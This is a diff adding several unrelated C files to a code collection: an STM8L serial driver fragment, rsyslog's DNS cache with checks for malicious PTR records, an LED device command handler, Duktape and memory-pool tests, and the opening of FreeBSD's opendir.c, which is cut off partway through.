+#if STM8L_SERIAL_USE_USART2
+  sdObjectInit(&SD2, NULL, notify2);
+  CLK->PCKENR3 |= CLK_PCKENR3_USART2;       /* PCKEN13, clock source.       */
+  USART2->CR1 = USART_CR1_USARTD;           /* USARTD (low power).          */
+  SD2.usart = USART2;
+#endif
+
+#if STM8L_SERIAL_USE_USART3
+  sdObjectInit(&SD3, NULL, notify3);
+  CLK->PCKENR3 |= CLK_PCKENR3_USART3;       /* PCKEN13, clock source.       */
+  USART3->CR1 = USART_CR1_USARTD;           /* USARTD (low power).          */
+  SD3.usart = USART3;
+#endif
+}
+
+/**
+ * @brief   Low level serial driver configuration and (re)start.
+ *
+ * @param[in] sdp       pointer to a @p SerialDriver object
+ * @param[in] config    the architecture-dependent serial driver configuration.
+ *                      If this parameter is set to @p NULL then a default
+ *                      configuration is used.
+ *
+ * @notapi
+ */
+void sd_lld_start(SerialDriver *sdp, const SerialConfig *config) {
+  USART_TypeDef *u = sdp->usart;
+
+  if (config == NULL)
+    config = &default_config;
+
+  u->BRR2 = (uint8_t)(((uint8_t)(config->sc_brr >> 8) & (uint8_t)0xF0) |
+                      ((uint8_t)config->sc_brr & (uint8_t)0x0F));
+  u->BRR1 = (uint8_t)(config->sc_brr >> 4);
+  u->CR1  = (uint8_t)(config->sc_mode & SD_MODE_PARITY);
+  u->CR2  = USART_CR2_RIEN | USART_CR2_TEN | USART_CR2_REN;
+  u->CR3  = (uint8_t)(config->sc_mode & SD_MODE_STOP);
+  u->CR4  = 0;
+  u->CR5  = 0;
+  u->PSCR = 1;
+  (void)u->SR;
+  (void)u->DR;
+}
+
+/**
+ * @brief   Low level serial driver stop.
+ * @details De-initializes the USART, stops the associated clock, resets the
+ *          interrupt vector.
+ *
+ * @param[in] sdp       pointer to a @p SerialDriver object
+ *
+ * @notapi
+ */
+void sd_lld_stop(SerialDriver *sdp) {
+  USART_TypeDef *u = sdp->usart;
+
+  u->CR1  = USART_CR1_USARTD;
+  u->CR2  = 0;
+  u->CR3  = 0;
+  u->CR4  = 0;
+  u->CR5  = 0;
+  u->PSCR = 0;
+}
+
+#endif /* HAL_USE_SERIAL */
+
+/** @} */
diff --git a/pool/shard001/C/0023546_dnscache.c b/pool/shard001/C/0023546_dnscache.c
new file mode 100644
index 0000000000000000000000000000000000000000..32d6e425c9edc9f0fac70aba6779ff37dd6dc3f2
--- /dev/null
+++ b/pool/shard001/C/0023546_dnscache.c
@@ -0,0 +1,355 @@
+/* dnscache.c
+ * Implementation of a real DNS cache
+ *
+ * File begun on 2011-06-06 by RGerhards
+ * The initial implementation is far from being optimal. The idea is to
+ * first get somethting that'S functionally OK, and then evolve the algorithm.
+ * In any case, even the initial implementaton is far faster than what we had
+ * before. -- rgerhards, 2011-06-06
+ *
+ * Copyright 2011 by Rainer Gerhards and Adiscon GmbH.
+ *
+ * This file is part of the rsyslog runtime library.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ *       http://www.apache.org/licenses/LICENSE-2.0
+ *       -or-
+ *       see COPYING.ASL20 in the source distribution
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "config.h"
+
+#include "rsyslog.h"
+#include <stdio.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <netdb.h>
+#include <unistd.h>
+
+#include "syslogd-types.h"
+#include "glbl.h"
+#include "errmsg.h"
+#include "obj.h"
+#include "unicode-helper.h"
+#include "net.h"
+
+/* in this initial implementation, we use a simple, non-optimized at all
+ * linear list.
+ */
+/* module data structures */
+struct dnscache_entry_s {
+	struct sockaddr_storage addr;
+	uchar *pszHostFQDN;
+	uchar *ip;
+	struct dnscache_entry_s *next;
+	unsigned nUsed;
+};
+typedef struct dnscache_entry_s dnscache_entry_t;
+struct dnscache_s {
+	pthread_rwlock_t rwlock;
+	dnscache_entry_t *root;
+	unsigned nEntries;
+};
+typedef struct dnscache_s dnscache_t;
+#define MAX_CACHE_ENTRIES 1000
+
+
+/* static data */
+DEFobjStaticHelpers
+DEFobjCurrIf(glbl)
+DEFobjCurrIf(errmsg)
+static dnscache_t dnsCache;
+
+
+/* init function (must be called once) */
+rsRetVal
+dnscacheInit(void)
+{
+	DEFiRet;
+	dnsCache.root = NULL;
+	dnsCache.nEntries = 0;
+	pthread_rwlock_init(&dnsCache.rwlock, NULL);
+	CHKiRet(objGetObjInterface(&obj)); /* this provides the root pointer for all other queries */
+	CHKiRet(objUse(glbl, CORE_COMPONENT));
+	CHKiRet(objUse(errmsg, CORE_COMPONENT));
+finalize_it:
+	RETiRet;
+}
+
+/* deinit function (must be called once) */
+rsRetVal
+dnscacheDeinit(void)
+{
+	DEFiRet;
+	//TODO: free cache elements dnsCache.root = NULL;
+	pthread_rwlock_destroy(&dnsCache.rwlock);
+	objRelease(glbl, CORE_COMPONENT);
+	objRelease(errmsg, CORE_COMPONENT);
+	RETiRet;
+}
+
+
+/* destruct a cache entry.
+ * Precondition: entry must already be unlinked from list
+ */
+static inline void
+entryDestruct(dnscache_entry_t *etry)
+{
+	free(etry->pszHostFQDN);
+	free(etry->ip);
+	free(etry);
+}
+
+
+static inline dnscache_entry_t*
+findEntry(struct sockaddr_storage *addr)
+{
+	dnscache_entry_t *etry;
+	for(etry = dnsCache.root ; etry != NULL ; etry = etry->next) {
+		if(SALEN((struct sockaddr*)addr) == SALEN((struct sockaddr*) &etry->addr) 
+		   && !memcmp(addr, &etry->addr, SALEN((struct sockaddr*) addr)))
+			break; /* in this case, we found our entry */
+	}
+	if(etry != NULL)
+		++etry->nUsed; /* this is *not* atomic, but we can live with an occasional loss! */
+	return etry;
+}
+
+
+/* This is a cancel-safe getnameinfo() version, because we learned
+ * (via drd/valgrind) that getnameinfo() seems to have some issues
+ * when being cancelled, at least if the module was dlloaded.
+ * rgerhards, 2008-09-30
+ */
+static inline int
+mygetnameinfo(const struct sockaddr *sa, socklen_t salen,
+                       char *host, size_t hostlen,
+                       char *serv, size_t servlen, int flags)
+{
+	int iCancelStateSave;
+	int i;
+
+	pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &iCancelStateSave);
+	i = getnameinfo(sa, salen, host, hostlen, serv, servlen, flags);
+	pthread_setcancelstate(iCancelStateSave, NULL);
+	return i;
+}
+
+
+/* resolve an address.
+ *
+ * Please see http://www.hmug.org/man/3/getnameinfo.php (under Caveats)
+ * for some explanation of the code found below. We do by default not
+ * discard message where we detected malicouos DNS PTR records. However,
+ * there is a user-configurabel option that will tell us if
+ * we should abort. For this, the return value tells the caller if the
+ * message should be processed (1) or discarded (0).
+ */
+static rsRetVal
+resolveAddr(struct sockaddr_storage *addr, uchar *pszHostFQDN, uchar *ip)
+{
+	DEFiRet;
+	int error;
+	sigset_t omask, nmask;
+	struct addrinfo hints, *res;
+	
+	assert(addr != NULL);
+	assert(pszHostFQDN != NULL);
+
+        error = mygetnameinfo((struct sockaddr *)addr, SALEN((struct sockaddr *)addr),
+			    (char*) ip, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
+        if(error) {
+                dbgprintf("Malformed from address %s\n", gai_strerror(error));
+		ABORT_FINALIZE(RS_RET_INVALID_SOURCE);
+	}
+
+	if(!glbl.GetDisableDNS()) {
+		sigemptyset(&nmask);
+		sigaddset(&nmask, SIGHUP);
+		pthread_sigmask(SIG_BLOCK, &nmask, &omask);
+
+		error = mygetnameinfo((struct sockaddr *)addr, SALEN((struct sockaddr *) addr),
+				    (char*)pszHostFQDN, NI_MAXHOST, NULL, 0, NI_NAMEREQD);
+		
+dbgprintf("dnscache: error %d after 2nd mygetnameinfo\n", error);
+		if(error == 0) {
+			memset (&hints, 0, sizeof (struct addrinfo));
+			hints.ai_flags = AI_NUMERICHOST;
+
+			/* we now do a lookup once again. This one should fail,
+			 * because we should not have obtained a non-numeric address. If
+			 * we got a numeric one, someone messed with DNS!
+			 */
+			if(getaddrinfo ((char*)pszHostFQDN, NULL, &hints, &res) == 0) {
+				uchar szErrMsg[1024];
+				freeaddrinfo (res);
+				/* OK, we know we have evil. The question now is what to do about
+				 * it. One the one hand, the message might probably be intended
+				 * to harm us. On the other hand, losing the message may also harm us.
+				 * Thus, the behaviour is controlled by the $DropMsgsWithMaliciousDnsPTRRecords
+				 * option. If it tells us we should discard, we do so, else we proceed,
+				 * but log an error message together with it.
+				 * time being, we simply drop the name we obtained and use the IP - that one
+				 * is OK in any way. We do also log the error message. rgerhards, 2007-07-16
+		 		 */
+		 		if(glbl.GetDropMalPTRMsgs() == 1) {
+					snprintf((char*)szErrMsg, sizeof(szErrMsg) / sizeof(uchar),
+						 "Malicious PTR record, message dropped "
+						 "IP = \"%s\" HOST = \"%s\"",
+						 ip, pszHostFQDN);
+					errmsg.LogError(0, RS_RET_MALICIOUS_ENTITY, "%s", szErrMsg);
+					pthread_sigmask(SIG_SETMASK, &omask, NULL);
+					ABORT_FINALIZE(RS_RET_MALICIOUS_ENTITY);
+				}
+
+				/* Please note: we deal with a malicous entry. Thus, we have crafted
+				 * the snprintf() below so that all text is in front of the entry - maybe
+				 * it contains characters that make the message unreadable
+				 * (OK, I admit this is more or less impossible, but I am paranoid...)
+				 * rgerhards, 2007-07-16
+				 */
+				snprintf((char*)szErrMsg, sizeof(szErrMsg) / sizeof(uchar),
+					 "Malicious PTR record (message accepted, but used IP "
+					 "instead of PTR name: IP = \"%s\" HOST = \"%s\"",
+					 ip, pszHostFQDN);
+				errmsg.LogError(0, NO_ERRCODE, "%s", szErrMsg);
+
+				error = 1; /* that will trigger using IP address below. */
+			}
+		}
+		pthread_sigmask(SIG_SETMASK, &omask, NULL);
+	}
+
+dbgprintf("dnscache: error %d, DisableDNS %d\n", error, glbl.GetDisableDNS());
+        if(error || glbl.GetDisableDNS()) {
+                dbgprintf("Host name for your address (%s) unknown\n", ip);
+		strcpy((char*) pszHostFQDN, (char*)ip);
+        }
+
+finalize_it:
+	RETiRet;
+}
+
+
+/* evict an entry from the cache. We should try to evict one that does
+ * not decrease the hit rate that much, but we do not try to hard currently
+ * (as the base cache data structure may change).
+ * This MUST NOT be called when the cache is empty!
+ * rgerhards, 2011-06-06
+ */
+static inline void
+evictEntry(void)
+{
+	dnscache_entry_t *prev, *evict, *prevEvict, *etry;
+	unsigned lowest;
+
+	prev = prevEvict = NULL;
+	evict = dnsCache.root;
+	lowest = evict->nUsed;
+	for(etry = dnsCache.root->next ; etry != NULL ; etry = etry->next) {
+		if(etry->nUsed < lowest) {
+			evict = etry;
+			lowest = etry->nUsed;
+			prevEvict = prev;
+		}
+		prev = etry;
+	}
+
+	/* found lowest, unlink */
+	if(prevEvict == NULL) { /* remove root? */
+		dnsCache.root = evict->next;
+	} else {
+		prevEvict = evict->next;
+	}
+	entryDestruct(evict);
+}
+
+
+/* add a new entry to the cache. This means the address is resolved and
+ * then added to the cache.
+ */
+static inline rsRetVal
+addEntry(struct sockaddr_storage *addr, dnscache_entry_t **pEtry)
+{
+	uchar pszHostFQDN[NI_MAXHOST];
+	uchar ip[80]; /* 80 is safe for larges IPv6 addr */
+	dnscache_entry_t *etry;
+	DEFiRet;
+	CHKiRet(resolveAddr(addr, pszHostFQDN, ip));
+	CHKmalloc(etry = MALLOC(sizeof(dnscache_entry_t)));
+	CHKmalloc(etry->pszHostFQDN = ustrdup(pszHostFQDN));
+	CHKmalloc(etry->ip = ustrdup(ip));
+	memcpy(&etry->addr, addr, SALEN((struct sockaddr*) addr));
+	etry->nUsed = 0;
+	*pEtry = etry;
+
+	/* add to list. Currently, we place the new element always at
+	 * the root node. This needs to be optimized later. 2011-06-06
+	 */
+	pthread_rwlock_unlock(&dnsCache.rwlock); /* release read lock */
+	pthread_rwlock_wrlock(&dnsCache.rwlock); /* and re-aquire for writing */
+	if(dnsCache.nEntries >= MAX_CACHE_ENTRIES) {
+		evictEntry();
+	}
+	etry->next = dnsCache.root;
+	dnsCache.root = etry;
+	pthread_rwlock_unlock(&dnsCache.rwlock);
+	pthread_rwlock_rdlock(&dnsCache.rwlock); /* TODO: optimize this! */
+
+finalize_it:
+	RETiRet;
+}
+
+
+/* validate if an entry is still valid and, if not, re-query it.
+ * In the initial implementation, this is a dummy!
+ * TODO: implement!
+ */
+static inline rsRetVal
+validateEntry(dnscache_entry_t *etry, struct sockaddr_storage *addr)
+{
+	return RS_RET_OK;
+}
+
+
+/* This is the main function: it looks up an entry and returns it's name
+ * and IP address. If the entry is not yet inside the cache, it is added.
+ * If the entry can not be resolved, an error is reported back.
+ */
+rsRetVal
+dnscacheLookup(struct sockaddr_storage *addr, uchar *pszHostFQDN, uchar *ip)
+{
+	dnscache_entry_t *etry;
+	DEFiRet;
+
+	pthread_rwlock_rdlock(&dnsCache.rwlock); /* TODO: optimize this! */
+	etry = findEntry(addr);
+	dbgprintf("dnscache: entry %p found\n", etry);
+	if(etry == NULL) {
+		CHKiRet(addEntry(addr, &etry));
+	} else {
+		CHKiRet(validateEntry(etry, addr));
+	}
+	// TODO/QUESTION: can we get rid of the strcpy?
+dbgprintf("XXXX: hostn '%s', ip '%s'\n", etry->pszHostFQDN, etry->ip);
+	strcpy((char*)pszHostFQDN, (char*)etry->pszHostFQDN);
+	strcpy((char*)ip, (char*)etry->ip);
+
+finalize_it:
+	pthread_rwlock_unlock(&dnsCache.rwlock);
+dbgprintf("XXXX: dnscacheLookup finished, iRet=%d\n", iRet);
+	if(iRet != RS_RET_OK && iRet != RS_RET_ADDRESS_UNKNOWN) {
+		DBGPRINTF("dnscacheLookup failed with iRet %d\n", iRet);
+		strcpy((char*) pszHostFQDN, "???");
+		strcpy((char*) ip, "???");
+	}
+	RETiRet;
+}
diff --git a/pool/shard001/C/0023571_ledDevice.c b/pool/shard001/C/0023571_ledDevice.c
new file mode 100644
index 0000000000000000000000000000000000000000..6db41b4ee24255864abb6f9eb51fa6e2a2962d9f
--- /dev/null
+++ b/pool/shard001/C/0023571_ledDevice.c
@@ -0,0 +1,152 @@
+#include <stdbool.h>
+#include <stdlib.h>
+
+#include "ledDevice.h"
+#include "ledDeviceInterface.h"
+
+#include "../../common/commons.h"
+
+#include "../../common/cmd/commonCommand.h"
+
+#include "../../common/error/error.h"
+
+#include "../../common/io/inputStream.h"
+#include "../../common/io/outputStream.h"
+#include "../../common/io/pin.h"
+#include "../../common/io/printWriter.h"
+#include "../../common/io/reader.h"
+
+#include "../../common/log/logger.h"
+#include "../../common/log/logLevel.h"
+
+#include "../../device/device.h"
+
+#include "../../drivers/led/led.h"
+
+// FORWARD DECLARATION
+LedArray* getLedArrayFromDeviceDescriptor(void);
+
+void deviceLedInit(void) {
+    /*
+    LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+    if (ledArray == NULL) {
+        writeError(LED_ARRAY_NULL);
+        return;
+    }
+    ledArray->ledArrayInit(ledArray);
+    */
+}
+
+void deviceLedShutDown(void) {
+}
+
+bool deviceLedIsOk(void) {
+    return true;
+}
+
+void deviceLedHandleRawData(unsigned char commandHeader, InputStream* inputStream, OutputStream* outputStream, OutputStream* notificationOutputStream) {
+    // SPECIFIC LED
+    if (commandHeader == COMMAND_LED_WRITE) {
+        ackCommand(outputStream, LED_DEVICE_HEADER, COMMAND_LED_WRITE);
+        LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+        unsigned char ledIndex = readHex2(inputStream);
+        checkIsSeparator(inputStream);
+        unsigned int r = readHex2(inputStream);
+        checkIsSeparator(inputStream);
+        unsigned int g = readHex2(inputStream);
+        checkIsSeparator(inputStream);
+        unsigned int b = readHex2(inputStream);
+        ledArray->ledArrayWriteValue(ledArray, ledIndex, r, g, b);
+    }
+    else if (commandHeader == COMMAND_LED_RED) {
+        ackCommand(outputStream, LED_DEVICE_HEADER, COMMAND_LED_RED);
+        LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+        unsigned char ledIndex = readHex2(inputStream);
+        ledArray->ledArrayWriteValue(ledArray, ledIndex, 0xFF, 0, 0);
+    }
+    else if (commandHeader == COMMAND_LED_GREEN) {
+        ackCommand(outputStream, LED_DEVICE_HEADER, COMMAND_LED_GREEN);
+        LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+        unsigned char ledIndex = readHex2(inputStream);
+        ledArray->ledArrayWriteValue(ledArray, ledIndex, 0x00, 0xFF, 0);
+    }
+    else if (commandHeader == COMMAND_LED_BLUE) {
+        ackCommand(outputStream, LED_DEVICE_HEADER, COMMAND_LED_BLUE);
+        LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+        unsigned char ledIndex = readHex2(inputStream);
+        ledArray->ledArrayWriteValue(ledArray, ledIndex, 0, 0, 0xFF);
+    }
+    // All LEDS
+    else if (commandHeader == COMMAND_LED_CLEAR_ALL) {
+        ackCommand(outputStream, LED_DEVICE_HEADER, COMMAND_LED_CLEAR_ALL);
+        LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+        int count = ledArray->ledCount;
+        int i;
+        for (i = 0; i < count; i++) {
+            ledArray->ledArrayWriteValue(ledArray, i, 0, 0, 0);
+        }
+    }
+    else if (commandHeader == COMMAND_LED_ALL_ON) {
+        ackCommand(outputStream, LED_DEVICE_HEADER, COMMAND_LED_ALL_ON);
+        LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+        int count = ledArray->ledCount;
+        int i;
+        for (i = 0; i < count; i++) {
+            ledArray->ledArrayWriteValue(ledArray, i, 0xFF, 0xFF, 0xFF);
+        }
+    }
+    else if (commandHeader == COMMAND_LED_ALL_RED) {
+        ackCommand(outputStream, LED_DEVICE_HEADER, COMMAND_LED_ALL_RED);
+        LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+        int count = ledArray->ledCount;
+        int i;
+        for (i = 0; i < count; i++) {
+            ledArray->ledArrayWriteValue(ledArray, i, 0xFF, 0x00, 0x00);
+        }
+    }
+    else if (commandHeader == COMMAND_LED_ALL_GREEN) {
+        ackCommand(outputStream, LED_DEVICE_HEADER, COMMAND_LED_ALL_GREEN);
+        LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+        int count = ledArray->ledCount;
+        int i;
+        for (i = 0; i < count; i++) {
+            ledArray->ledArrayWriteValue(ledArray, i, 0x00, 0xFF, 0x00);
+        }
+    }
+    else if (commandHeader == COMMAND_LED_ALL_BLUE) {
+        ackCommand(outputStream, LED_DEVICE_HEADER, COMMAND_LED_ALL_BLUE);
+        LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+        int count = ledArray->ledCount;
+        int i;
+        for (i = 0; i < count; i++) {
+            ledArray->ledArrayWriteValue(ledArray, i, 0x00, 0x00, 0xFF);
+        }
+    }
+    // DISTANCE
+    else if (commandHeader == COMMAND_LED_ALL_AS_DISTANCE) {
+        ackCommand(outputStream, LED_DEVICE_HEADER, COMMAND_LED_ALL_AS_DISTANCE);
+        LedArray* ledArray = getLedArrayFromDeviceDescriptor();
+        unsigned char distance = readHex2(inputStream);
+        int count = ledArray->ledCount;
+        int i;
+        for (i = 0; i < count; i++) {
+            setLedColorAsDistance(ledArray, i, distance);
+        }
+    }
+}
+
+static DeviceDescriptor descriptor;
+
+LedArray* getLedArrayFromDeviceDescriptor(void) {
+    return (LedArray*) descriptor.object;
+}
+
+DeviceDescriptor* getLedDeviceDescriptor(LedArray* ledArrayParam) {
+    initDeviceDescriptor(&descriptor,
+            &deviceLedInit,
+            &deviceLedShutDown,
+            &deviceLedIsOk,
+            &deviceLedHandleRawData,
+            (int*) ledArrayParam);
+    return &descriptor;
+}
diff --git a/pool/shard001/C/0023579_test-get-buffer.c b/pool/shard001/C/0023579_test-get-buffer.c
new file mode 100644
index 0000000000000000000000000000000000000000..7462c2b7d770d08982992c3692edd1dda9fddea8
--- /dev/null
+++ b/pool/shard001/C/0023579_test-get-buffer.c
@@ -0,0 +1,153 @@
+/*===
+*** test_basic (duk_safe_call)
+top: 18
+index 0: length 0
+index 1: length 0
+index 2: length 0
+index 3: length 0
+index 4: length 0
+index 5: length 0
+index 6: length 0
+index 7: length 0
+index 8: length 0
+index 9: length 1024, ptr-is-NULL 0
+index 10: length 0
+index 11: length 2048, ptr-is-NULL 0
+index 12: length 0
+index 13: length 0
+index 14: length 0
+index 15: length 0
+index 16: length 0
+index 17: length 0
+final top: 18
+==> rc=0, result='undefined'
+===*/
+
+static duk_ret_t test_basic(duk_context *ctx, void *udata) {
+	duk_idx_t i, n;
+
+	(void) udata;
+
+	duk_push_undefined(ctx);
+	duk_push_null(ctx);
+	duk_push_true(ctx);
+	duk_push_false(ctx);
+	duk_push_string(ctx, "");
+	duk_push_string(ctx, "foo");
+	duk_push_int(ctx, 123);
+	duk_push_object(ctx);
+	duk_push_fixed_buffer(ctx, 0);
+	duk_push_fixed_buffer(ctx, 1024);
+	duk_push_dynamic_buffer(ctx, 0);
+	duk_push_dynamic_buffer(ctx, 2048);
+	duk_eval_string(ctx, "(function () { return new ArrayBuffer(16); })()");
+	duk_eval_string(ctx, "(function () { return new Uint32Array(16); })()");
+	duk_eval_string(ctx, "(function () { return new DataView(new ArrayBuffer(16)); })()");
+	duk_eval_string(ctx, "(function () { return new Uint32Array(16).subarray(3, 6); })()");
+	duk_eval_string(ctx, "(function () { return new Buffer('ABCDEFGH'); })()");
+	duk_eval_string(ctx, "(function () { return new Buffer('ABCDEFGH').slice(3, 6); })()");
+
+	n = duk_get_top(ctx);
+	printf("top: %ld\n", (long) n);
+	for (i = 0; i < n; i++) {
+		void *buf;
+		duk_size_t len;
+
+		len = (duk_size_t) 0xdeadbeefUL;
+		buf = duk_get_buffer(ctx, i, &len);
+		if (len == 0) {
+			/* avoid printing 'buf' if len is zero, as it is not predictable */
+			printf("index %ld: length 0\n", (long) i);
+		} else {
+			printf("index %ld: length %lu, ptr-is-NULL %d\n",
+			       (long) i, (unsigned long) len, (buf == NULL ? 1 : 0));
+		}
+	}
+
+	printf("final top: %ld\n", (long) duk_get_top(ctx));
+	return 0;
+}
+
+/*===
+*** test_null_ptr (duk_safe_call)
+p is not NULL
+final top: 1
+==> rc=0, result='undefined'
+===*/
+
+static duk_ret_t test_null_ptr(duk_context *ctx, void *udata) {
+	void *p;
+
+	(void) udata;
+
+	duk_push_fixed_buffer(ctx, 1024);
+
+	p = duk_get_buffer(ctx, -1, NULL);
+	if (p) {
+		printf("p is not NULL\n");
+	} else {
+		printf("p is NULL\n");
+	}
+
+	printf("final top: %ld\n", (long) duk_get_top(ctx));
+	return 0;
+}
+
+/*===
+*** test_invalid_index (duk_safe_call)
+p is NULL
+final top: 0
+==> rc=0, result='undefined'
+===*/
+
+static duk_ret_t test_invalid_index(duk_context *ctx, void *udata) {
+	void *p;
+	duk_size_t sz;
+
+	(void) udata;
+
+	sz = (duk_size_t) 0xdeadbeefUL;
+	p = duk_get_buffer(ctx, -1, &sz);
+	if (p) {
+		printf("p is not NULL, sz=%ld\n", (long) sz);
+	} else {
+		printf("p is NULL\n");
+	}
+
+	printf("final top: %ld\n", (long) duk_get_top(ctx));
+	return 0;
+}
+
+/*===
+*** test_buffer_object (duk_safe_call)
+p is NULL
+==> rc=0, result='undefined'
+===*/
+
+static duk_ret_t test_buffer_object(duk_context *ctx, void *udata) {
+	void *p;
+	duk_size_t sz;
+
+	(void) udata;
+
+	/* duk_get_buffer_data() doesn't accept a buffer object */
+
+	duk_set_top(ctx, 0);
+	duk_eval_string(ctx, "new ArrayBuffer(16)");
+	sz = (duk_size_t) 0xdeadbeefUL;
+	p = duk_get_buffer(ctx, -1, &sz);
+	if (p) {
+		printf("p is not NULL, sz=%ld\n", (long) sz);
+	} else {
+		printf("p is NULL\n");
+	}
+
+	return 0;
+}
+
+void test(duk_context *ctx) {
+	TEST_SAFE_CALL(test_basic);
+	TEST_SAFE_CALL(test_null_ptr);
+	TEST_SAFE_CALL(test_invalid_index);
+	TEST_SAFE_CALL(test_buffer_object);
+}
diff --git a/pool/shard001/C/0023584_const_mem_pool-test.c b/pool/shard001/C/0023584_const_mem_pool-test.c
new file mode 100644
index 0000000000000000000000000000000000000000..98938cb417202fe65bb8a6bba6f8b29ad70b82eb
--- /dev/null
+++ b/pool/shard001/C/0023584_const_mem_pool-test.c
@@ -0,0 +1,69 @@
+#include <assert.h>
+#include <string.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "const_mem_pool.h"
+#include "hash.h"
+#include "hash_uint32.h"
+
+#define words(x) ((x)/sizeof(void*))
+
+void test_const_mem_pool_1(void) {
+
+    char mem[2048];
+    struct const_mem_pool *pool = const_mem_pool_create(sizeof(mem), mem);
+
+    assert(pool);
+
+    fprintf(stdout, "available mem in pool (words): %zu\n", words(const_mem_pool_avail(pool)));
+
+    struct hash *h = hash_create( hash_size
+                                , const_mem_pool_alloc(pool, hash_size)
+                                , sizeof(uint32_t)
+                                , sizeof(uint32_t)
+                                , 32
+                                , uint32_hash
+                                , uint32_eq
+                                , uint32_cpy
+                                , uint32_cpy
+                                , pool
+                                , const_mem_pool_alloc
+                                , const_mem_pool_dealloc );
+
+
+    fprintf(stdout, "hash allocated? %s\n", h ? "yes" : "no");
+
+    fprintf(stdout, "available mem in pool (words): %zu\n", words(const_mem_pool_avail(pool)));
+
+    size_t i = 0;
+    for(;;i++) {
+        uint32_t k = i;
+        uint32_t v = i;
+        if( !hash_add(h, &k, &v) ) {
+            break;
+        }
+    }
+
+    fprintf(stdout, "added something? %s\n", i > 0 ? "yes" : "no");
+
+    // platform-dependend
+    fprintf(stderr, "added %zu\n", i);
+
+    // should be not
+    fprintf(stdout, "available mem in pool (words): %zu\n", words(const_mem_pool_avail(pool)));
+
+    size_t j = 0;
+    for(; j < i; j++ ) {
+        uint32_t k = j;
+        if( !hash_get(h, &k) ) {
+            break;
+        }
+    }
+
+    fprintf(stdout, "found all ? %s\n", i == j ? "yes" : "no");
+
+    hash_destroy(h);
+    const_mem_pool_destroy(pool);
+}
+
diff --git a/pool/shard001/C/0023598_opendir.c b/pool/shard001/C/0023598_opendir.c
new file mode 100644
index 0000000000000000000000000000000000000000..a9eb0af1ba4bad31cc43ba6956abc7c91264c505
--- /dev/null
+++ b/pool/shard001/C/0023598_opendir.c
@@ -0,0 +1,317 @@
+/*-
+ * Copyright (c) 1983, 1993
+ *	The Regents of the University of California.  All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 4. Neither the name of the University nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#if defined(LIBC_SCCS) && !defined(lint)
+static char sccsid[] = "@(#)opendir.c	8.8 (Berkeley) 5/1/95";
+#endif /* LIBC_SCCS and not lint */
+#include <sys/cdefs.h>
+__FBSDID("$FreeBSD$");
+
+#include "namespace.h"
+#include <sys/param.h>
+#include <sys/mount.h>
+#include <sys/stat.h>
+
+#include <dirent.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include "un-namespace.h"
+
+#include "gen-private.h"
+#include "telldir.h"
+
+static DIR * __opendir_common(int, int);
+
+/*
+ * Open a directory.
+ */
+DIR *
+opendir(const char *name)
+{
+
+	return (__opendir2(name, DTF_HIDEW|DTF_NODUP));
+}
+
+/*
+ * Open a directory with existing file descriptor.
+ */
+DIR *
+fdopendir(int fd)
+{
+	struct stat statb;
+
+	/* Check that fd is associated with a directory. */
+	if (_fstat(fd, &statb) != 0)
+		return (NULL);
+	if (!S_ISDIR(statb.st_mode)) {
+		errno = ENOTDIR;
+		return (NULL);
+	}
+	if (_fcntl(fd, F_SETFD, FD_CLOEXEC) == -1)
+		return (NULL);
+	return (__opendir_common(fd, DTF_HIDEW|DTF_NODUP));
+}
+
+DIR *
+__opendir2(const char *name, int flags)
+{
+	int fd;
+	DIR *dir;
+	int saved_errno;
+
+	if ((fd = _open(name,
+	    O_RDONLY | O_NONBLOCK | O_DIRECTORY | O_CLOEXEC)) == -1)
+		return (NULL);
+
+	dir = __opendir_common(fd, flags);
+	if (dir == NULL) {
+		saved_errno = errno;
+		_close(fd);
+		errno = saved_errno;
+	}
+	return (dir);
+}
+
+static int
+opendir_compar(const void *p1, const void *p2)
+{
+
+	return (strcmp((*(const struct dirent **)p1)->d_name,
